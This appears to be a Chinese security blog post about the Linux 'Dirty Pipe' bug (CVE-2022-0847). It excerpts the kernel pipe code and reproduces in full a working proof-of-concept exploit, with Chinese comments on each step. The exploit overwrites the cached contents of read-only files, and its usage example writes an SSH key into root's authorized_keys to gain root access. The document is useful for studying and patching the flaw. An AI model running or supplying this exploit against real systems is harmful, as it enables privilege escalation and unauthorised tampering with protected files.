struct pipe_inode_info {
    struct mutex mutex;
    wait_queue_head_t rd_wait, wr_wait;
    unsigned int head;
    unsigned int tail;
    unsigned int max_usage;
    unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
    bool note_loss;
#endif
    unsigned int nr_accounted;
    unsigned int readers;
    unsigned int writers;
    unsigned int files;
    unsigned int r_counter;
    unsigned int w_counter;
    struct page *tmp_page;
    struct fasync_struct *fasync_readers;
    struct fasync_struct *fasync_writers;
    struct pipe_buffer *bufs;
    struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
    struct watch_queue *watch_queue;
#endif
};

struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
  ....
  head = pipe->head;
    was_empty = pipe_empty(head, pipe->tail);
    chars = total_len & (PAGE_SIZE-1);
    if (chars && !was_empty) {
        unsigned int mask = pipe->ring_size - 1;
        struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
        int offset = buf->offset + buf->len;
        if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
            offset + chars <= PAGE_SIZE) {
            ret = pipe_buf_confirm(pipe, buf);
            if (ret)
                goto out;
            ret = copy_page_from_iter(buf->page, offset, chars, from);
            if (unlikely(ret < chars)) {
                ret = -EFAULT;
                goto out;
            }
            buf->len += ret;
            if (!iov_iter_count(from))
                goto out;
        }
    }
  for (;;) {
    ....
        if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
            unsigned int mask = pipe->ring_size - 1;
            struct pipe_buffer *buf = &pipe->bufs[head & mask];
            struct page *page = pipe->tmp_page;
            int copied;
            if (!page) {
                page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
                if (unlikely(!page)) {
                    ret = ret ? : -ENOMEM;
                    break;
                }
                pipe->tmp_page = page;
            }
            /* Allocate a slot in the ring in advance and attach an
             * empty buffer.  If we fault or otherwise fail to use
             * it, either the reader will consume it or it'll still
             * be there for the next write.
             */
            spin_lock_irq(&pipe->rd_wait.lock);
            head = pipe->head;
            if (pipe_full(head, pipe->tail, pipe->max_usage)) {
                spin_unlock_irq(&pipe->rd_wait.lock);
                continue;
            }
            pipe->head = head + 1;
            spin_unlock_irq(&pipe->rd_wait.lock);
            /* Insert it into the buffer array */
            buf = &pipe->bufs[head & mask];
            buf->page = page;
            buf->ops = &anon_pipe_buf_ops;
            buf->offset = 0;
            buf->len = 0;
            if (is_packetized(filp))
                buf->flags = PIPE_BUF_FLAG_PACKET;
            else
                buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            pipe->tmp_page = NULL;
    ....
  }
}

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
             struct iov_iter *i)
{
    struct pipe_inode_info *pipe = i->pipe;
    struct pipe_buffer *buf;
    unsigned int p_tail = pipe->tail;
    unsigned int p_mask = pipe->ring_size - 1;
    unsigned int i_head = i->head;
    size_t off;
    if (unlikely(bytes > i->count))
        bytes = i->count;
    if (unlikely(!bytes))
        return 0;
    if (!sanity(i))
        return 0;
    off = i->iov_offset;
    buf = &pipe->bufs[i_head & p_mask];
    if (off) {
        if (offset == off && buf->page == page) {
            /* merge with the last one */
            buf->len += bytes;
            i->iov_offset += bytes;
            goto out;
        }
        i_head++;
        buf = &pipe->bufs[i_head & p_mask];
    }
    if (pipe_full(i_head, p_tail, pipe->max_usage))
        return 0;
    buf->ops = &page_cache_pipe_buf_ops;
    get_page(page);
    buf->page = page;
    buf->offset = offset;
    buf->len = bytes;
    pipe->head = i_head + 1;
    i->iov_offset = offset + bytes;
    i->head = i_head;
out:
    i->count -= bytes;
    return bytes;
}

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
//初始化pipe，将所有buffer填满再清空，这样每个buffer上都会留下PIPE_BUF_FLAG_CAN_MERGE
static void prepare_pipe(int p[2]) 
{
    if (pipe(p)) abort();
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];
    /* fill the pipe completely; each pipe_buffer will now have
       the PIPE_BUF_FLAG_CAN_MERGE flag */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }
    /* drain the pipe, freeing all pipe_buffer instances (but
       leaving the flags initialized) */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
    /* the pipe is now empty, and if somebody adds a new
       pipe_buffer without initializing its "flags", the buffer
       will be mergeable */
}
int main(int argc, char **argv)
{
    if (argc != 4) {
        fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
        return EXIT_FAILURE;
    }
    /* dumb command-line argument parser */
    const char *const path = argv[1];
    loff_t offset = strtoul(argv[2], NULL, 0);
    const char *const data = argv[3];
    const size_t data_size = strlen(data);
    if (offset % PAGE_SIZE == 0) {
        fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
        return EXIT_FAILURE;
    }
    const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end_offset = offset + (loff_t)data_size;
    if (end_offset > next_page) {
        fprintf(stderr, "Sorry, cannot write across a page boundary\n");
        return EXIT_FAILURE;
    }
    /* open the input file and validate the specified offset */
    const int fd = open(path, O_RDONLY); // yes, read-only! :-)
    if (fd < 0) {
        perror("open failed");
        return EXIT_FAILURE;
    }
    struct stat st;
    if (fstat(fd, &st)) {
        perror("stat failed");
        return EXIT_FAILURE;
    }
    if (offset > st.st_size) {
        fprintf(stderr, "Offset is not inside the file\n");
        return EXIT_FAILURE;
    }
    if (end_offset > st.st_size) {
        fprintf(stderr, "Sorry, cannot enlarge the file\n");
        return EXIT_FAILURE;
    }
    /* create the pipe with all flags initialized with
       PIPE_BUF_FLAG_CAN_MERGE */
    int p[2];
    prepare_pipe(p);
    /* splice one byte from before the specified offset into the
       pipe; this will add a reference to the page cache, but
       since copy_page_to_iter_pipe() does not initialize the
       "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  //初始化pipe之后用splice对打开的只读文件进行零拷贝，此时pipe写指针的buffer就会指向只读文件的页面高速缓存
    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) {
        perror("splice failed");
        return EXIT_FAILURE;
    }
    if (nbytes == 0) {
        fprintf(stderr, "short splice\n");
        return EXIT_FAILURE;
    }
    /* the following write will not create a new pipe_buffer, but
       will instead write into the page cache, because of the
       PIPE_BUF_FLAG_CAN_MERGE flag */
  //此时向pipe写指针中写入内容就是向只读文件中写入内容
    nbytes = write(p[1], data, data_size);
    if (nbytes < 0) {
        perror("write failed");
        return EXIT_FAILURE;
    }
    if ((size_t)nbytes < data_size) {
        fprintf(stderr, "short write\n");
        return EXIT_FAILURE;
    }
    printf("It worked!\n");
    return EXIT_SUCCESS;
}

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复